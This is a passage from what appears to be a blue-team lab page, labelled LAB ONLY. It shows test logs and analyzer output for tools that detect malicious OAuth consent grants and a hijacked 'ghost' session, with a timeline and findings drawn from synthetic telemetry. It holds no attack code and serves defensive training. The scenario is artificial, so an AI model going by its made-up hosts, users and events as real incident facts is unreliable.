  - delegated grant + refresh tokens: finance.user → Secure Document Verification
  - delegated grant + refresh tokens: hr.user → Secure Document Verification
  - disable service principal 5d0c0000-0000-4000-8000-00000000c7a9 tenant-wide
Captured test run
test_15_single_user_is_medium (test_oauth_consent_hunter.TestConfidenceLadderAndRobustness.test_15_single_user_is_medium) ... ok
test_16_consent_without_activity_is_low_and_not_fired (test_oauth_consent_hunter.TestConfidenceLadderAndRobustness.test_16_consent_without_activity_is_low_and_not_fired) ... ok
test_17_admin_approved_app_never_fires_even_if_listed_scopes_grow (test_oauth_consent_hunter.TestConfidenceLadderAndRobustness.test_17_admin_approved_app_never_fires_even_if_listed_scopes_grow) ... ok
test_18_baseline_only_is_clean (test_oauth_consent_hunter.TestConfidenceLadderAndRobustness.test_18_baseline_only_is_clean) ... ok
test_19_malformed_rows_skipped (test_oauth_consent_hunter.TestConfidenceLadderAndRobustness.test_19_malformed_rows_skipped) ... ok
test_20_cli_exit_codes (test_oauth_consent_hunter.TestConfidenceLadderAndRobustness.test_20_cli_exit_codes) ... ok
test_01_first_consent_is_suspicious_not_high (test_oauth_consent_hunter.TestHuntTable.test_01_first_consent_is_suspicious_not_high) ... ok
test_02_first_api_call_is_suspicious (test_oauth_consent_hunter.TestHuntTable.test_02_first_api_call_is_suspicious) ... ok
test_03_mailbox_from_germany_is_high (test_oauth_consent_hunter.TestHuntTable.test_03_mailbox_from_germany_is_high) ... ok
test_04_out_of_baseline_file_access_is_high (test_oauth_consent_hunter.TestHuntTable.test_04_out_of_baseline_file_access_is_high) ... ok
test_05_second_user_consent_is_high (test_oauth_consent_hunter.TestHuntTable.test_05_second_user_consent_is_high) ... ok
test_06_multi_user_api_is_high (test_oauth_consent_hunter.TestHuntTable.test_06_multi_user_api_is_high) ... ok
test_07_approved_and_low_risk_apps_are_normal (test_oauth_consent_hunter.TestHuntTable.test_07_approved_and_low_risk_apps_are_normal) ... ok
test_08_risk_profile_flags (test_oauth_consent_hunter.TestProfileAndDetection.test_08_risk_profile_flags) ... ok
test_09_detection_fires_for_both_users (test_oauth_consent_hunter.TestProfileAndDetection.test_09_detection_fires_for_both_users) ... ok
test_10_time_deltas (test_oauth_consent_hunter.TestProfileAndDetection.test_10_time_deltas) ... ok
test_11_exposure_counts (test_oauth_consent_hunter.TestProfileAndDetection.test_11_exposure_counts) ... ok
test_12_iocs (test_oauth_consent_hunter.TestProfileAndDetection.test_12_iocs) ... ok
test_13_delivery_clicks_linked_by_client_id (test_oauth_consent_hunter.TestProfileAndDetection.test_13_delivery_clicks_linked_by_client_id) ... ok
test_14_assessment_high_but_no_attribution (test_oauth_consent_hunter.TestProfileAndDetection.test_14_assessment_high_but_no_attribution) ... ok

----------------------------------------------------------------------
Ran 20 tests in 0.033s

OK

Files

🔴 Red-Team War Room · Ghost Session (valid-session abuse) · 08 Oct 2026 · LAB ONLY

Decision: CONTAIN · 5/5 trust dimensions failed · pivot 10:39 · blue-team analyzer 20/20 tests · no offensive code · synthetic data

ThesisNobody broke in — the session was used as the user: no password event, no MFA prompt, no malware, EDR clean
Session trustDevice + Location + Time + Behaviour + Resource: owner session fails 0/5, second session fails 5/5
Pivot10:39 — one session token in IN and NL 18 minutes apart while the owner's laptop is still active; everything earlier is owner-explainable
ImpactUnseen tenant console, first-seen FS-FIN-02 over NTLM, 412 Treasury files, Mail.Read + offline_access app grant
Key detectionCloud says yes, endpoint says no — cloud audit shows the access, the laptop's proxy/DNS shows no request
Senior answerMalware buys control of a machine at the price of noise; a borrowed session buys the user's reach quietly but collapses on revocation

Run it

cd ghost-session
python3 make_session_lab_data.py
python3 session_trust_analyzer.py session_telemetry_SYNTHETIC.csv session_context_SYNTHETIC.json
python3 -m unittest test_session_trust_analyzer -v
Captured analyzer output
==============================================================================
GraySentinel SSOU · Ghost Session — session-trust analysis (blue-team view) · 2026-10-08
==============================================================================
Decision: CONTAIN   ·   dimensions failed: Behaviour + Device + Location + Resource + Time   ·   EDR verdict on the endpoint: clean

SESSIONS
  S-1001  TRUSTED        devices=['FIN-LT-22'] ips=['198.51.100.22'] countries=['IN'] mfa=satisfied failed=[]
  S-1002  NOT THE OWNER  devices=['UNREGISTERED-DEV'] ips=['198.51.100.50', '203.0.113.88'] countries=['IN', 'NL'] mfa=inherited failed=['Behaviour', 'Device', 'Location', 'Resource', 'Time']

IDENTITY ATTACK TIMELINE (IST)
  10:02  INFO     FIN-LT-22        198.51.100.22  → IDP                    signin               conf=High   interactive sign-in; compliant managed device
  10:07  MEDIUM   UNREGISTERED-DEV 198.51.100.50  → IDP                    session_created      conf=Medium session on an unregistered device; new session without a fresh MFA challenge; identity active in two environments at once
  10:07  INFO     UNREGISTERED-DEV 198.51.100.50  → RA-GW-01               tunnel_up            conf=High   remote-access tunnel; pool address 10.50.99.14; posture check skipped (legacy profile)
  10:13  INFO     FIN-LT-22        198.51.100.22  → FinLedger              app_access           conf=High   normal finance application
  10:13  INFO     FIN-LT-22        10.50.22.22    → finledger.corp-cloud.lab http_connect         conf=High   matches baseline
  10:21  HIGH     UNREGISTERED-DEV 198.51.100.50  → Cloud Console          app_access           conf=High   previously unseen application; cloud says yes, endpoint says no
  10:26  HIGH     UNREGISTERED-DEV 10.50.99.14    → FS-FIN-02              auth                 conf=Medium first-seen internal resource
  10:31  HIGH     UNREGISTERED-DEV 10.50.99.14    → \\FS-FIN-02\Treasury   file_access          conf=High   mass file access
  10:35  INFO     FIN-LT-22        10.50.22.22    → EDR                    scan                 conf=High   FIN-LT-22: no malware, no suspicious process; browser + office apps only
  10:39  CRITICAL UNREGISTERED-DEV 203.0.113.88   → IDP                    token_use            conf=High   one session token in two geographies
  10:40  INFO     FIN-LT-22        198.51.100.22  → FinLedger              app_access           conf=High   owner still working normally
  10:40  INFO     FIN-LT-22        10.50.22.22    → finledger.corp-cloud.lab http_connect         conf=High   matches baseline
  10:44  HIGH     UNREGISTERED-DEV 203.0.113.88   → MailSync Helper        app_permission_grant conf=High   activity from a country outside the identity baseline; application permission granted from the suspect session
  10:51  INFO     FIN-LT-22        helpdesk       → HELPDESK               user_statement       conf=High   user: 'I was working normally. I didn't install anything or share my password.'
  18:20  INFO     FIN-LT-22        198.51.100.22  → IDP                    signout              conf=High   matches baseline
  19:40  HIGH     UNREGISTERED-DEV 203.0.113.88   → IDP                    token_refresh        conf=Medium activity from a country outside the identity baseline; session active outside working hours

PIVOT EVENT (unusual login → potential identity compromise)
  2026-10-08T05:09:00Z  one session token in two geographies — token T-B7 used from IN and then NL (203.0.113.88) 18 min apart — a session does not travel; the owner's laptop session is still active

FINDINGS BY DIMENSION
  [MEDIUM  ] Device    10:07  session on an unregistered device — UNREGISTERED-DEV is not a managed/compliant device (new cloud session)
  [MEDIUM  ] Device    10:07  new session without a fresh MFA challenge — MFA status 'satisfied' was inherited from existing session context, not re-proved
  [MEDIUM  ] Location  10:07  identity active in two environments at once — S-1002 on UNREGISTERED-DEV via 198.51.100.50 while S-1001 is live on FIN-LT-22
  [MEDIUM  ] Behaviour 10:21  previously unseen application — 'Cloud Console' never used by this identity in the 30-day baseline
  [HIGH    ] Behaviour 10:21  cloud says yes, endpoint says no — no proxy/DNS record from the owner's managed device for 'Cloud Console' at this time
  [HIGH    ] Resource  10:26  first-seen internal resource — FS-FIN-02 from UNREGISTERED-DEV (10.50.99.14); NTLM; baseline servers ['FS-FIN-01']
  [HIGH    ] Behaviour 10:31  mass file access — 412 files on \\FS-FIN-02\Treasury; daily baseline ≤ 25
  [CRITICAL] Location  10:39  one session token in two geographies — token T-B7 used from IN and then NL (203.0.113.88) 18 min apart — a session does not travel; the owner's laptop session is still active
  [HIGH    ] Location  10:44  activity from a country outside the identity baseline — NL (203.0.113.88); baseline IN
  [HIGH    ] Behaviour 10:44  application permission granted from the suspect session — 'MailSync Helper': delegated permissions granted: Mail.Read offline_access — a persistence opportunity that outlives the session
  [HIGH    ] Location  19:40  activity from a country outside the identity baseline — NL (203.0.113.88); baseline IN
  [MEDIUM  ] Time      19:40  session active outside working hours — 19:40 IST; normal hours 09:00–19:00 — owner signed out at 18:20

BLUE-TEAM SUCCESS CRITERIA
  WHO     finance.manager — the identity; session S-1002 is assessed as NOT THE OWNER
  WHERE   UNREGISTERED-DEV via 198.51.100.50, 203.0.113.88 (IN/NL); owner on FIN-LT-22
  WHEN    10:07–19:40 IST on 2026-10-08
  WHAT    Cloud Console, FS-FIN-02, MailSync Helper, RA-GW-01, \\FS-FIN-02\Treasury
  HOW     valid session context — MFA 'inherited', no new password or MFA event, no malware on the endpoint
  IMPACT  412 files read; sensitive resources reached: Cloud Console, FS-FIN-02, \\FS-FIN-02\Treasury; application grants: MailSync Helper
Captured test run
test_09_pivot_is_the_token_in_two_geographies (test_session_trust_analyzer.TestPivotAndDecision.test_09_pivot_is_the_token_in_two_geographies) ... ok
test_10_everything_before_the_pivot_is_owner_explainable (test_session_trust_analyzer.TestPivotAndDecision.test_10_everything_before_the_pivot_is_owner_explainable) ... ok
test_11_decision_is_contain (test_session_trust_analyzer.TestPivotAndDecision.test_11_decision_is_contain) ... ok
test_12_without_geo_proof_decision_is_investigate (test_session_trust_analyzer.TestPivotAndDecision.test_12_without_geo_proof_decision_is_investigate) ... ok
test_13_owner_only_day_is_monitor (test_session_trust_analyzer.TestPivotAndDecision.test_13_owner_only_day_is_monitor) ... ok
test_14_baseline_day_is_clean (test_session_trust_analyzer.TestPivotAndDecision.test_14_baseline_day_is_clean) ... ok
test_19_malformed_rows_skipped (test_session_trust_analyzer.TestRobustness.test_19_malformed_rows_skipped) ... ok
test_20_cli_exit_codes (test_session_trust_analyzer.TestRobustness.test_20_cli_exit_codes) ... ok
test_01_owner_session_is_trusted (test_session_trust_analyzer.TestSessionTrust.test_01_owner_session_is_trusted) ... ok
test_02_ghost_session_is_not_the_owner (test_session_trust_analyzer.TestSessionTrust.test_02_ghost_session_is_not_the_owner) ... ok
test_03_all_five_dimensions_fail (test_session_trust_analyzer.TestSessionTrust.test_03_all_five_dimensions_fail) ... ok
test_04_unregistered_device_and_inherited_mfa (test_session_trust_analyzer.TestSessionTrust.test_04_unregistered_device_and_inherited_mfa) ... ok
test_05_two_environments_at_once (test_session_trust_analyzer.TestSessionTrust.test_05_two_environments_at_once) ... ok
test_06_unseen_app_and_endpoint_mismatch (test_session_trust_analyzer.TestSessionTrust.test_06_unseen_app_and_endpoint_mismatch) ... ok
test_07_first_seen_internal_resource_and_mass_access (test_session_trust_analyzer.TestSessionTrust.test_07_first_seen_internal_resource_and_mass_access) ... ok
test_08_permission_grant_and_after_hours (test_session_trust_analyzer.TestSessionTrust.test_08_permission_grant_and_after_hours) ... ok
test_15_timeline_has_all_required_fields (test_session_trust_analyzer.TestTimelineAndAnswers.test_15_timeline_has_all_required_fields) ... ok
test_16_timeline_risk_peaks_at_pivot (test_session_trust_analyzer.TestTimelineAndAnswers.test_16_timeline_risk_peaks_at_pivot) ... ok
test_17_success_criteria_answered (test_session_trust_analyzer.TestTimelineAndAnswers.test_17_success_criteria_answered) ... ok
test_18_exposure_and_edr_clean (test_session_trust_analyzer.TestTimelineAndAnswers.test_18_exposure_and_edr_clean) ... ok

----------------------------------------------------------------------
Ran 20 tests in 0.034s

OK

Files

All files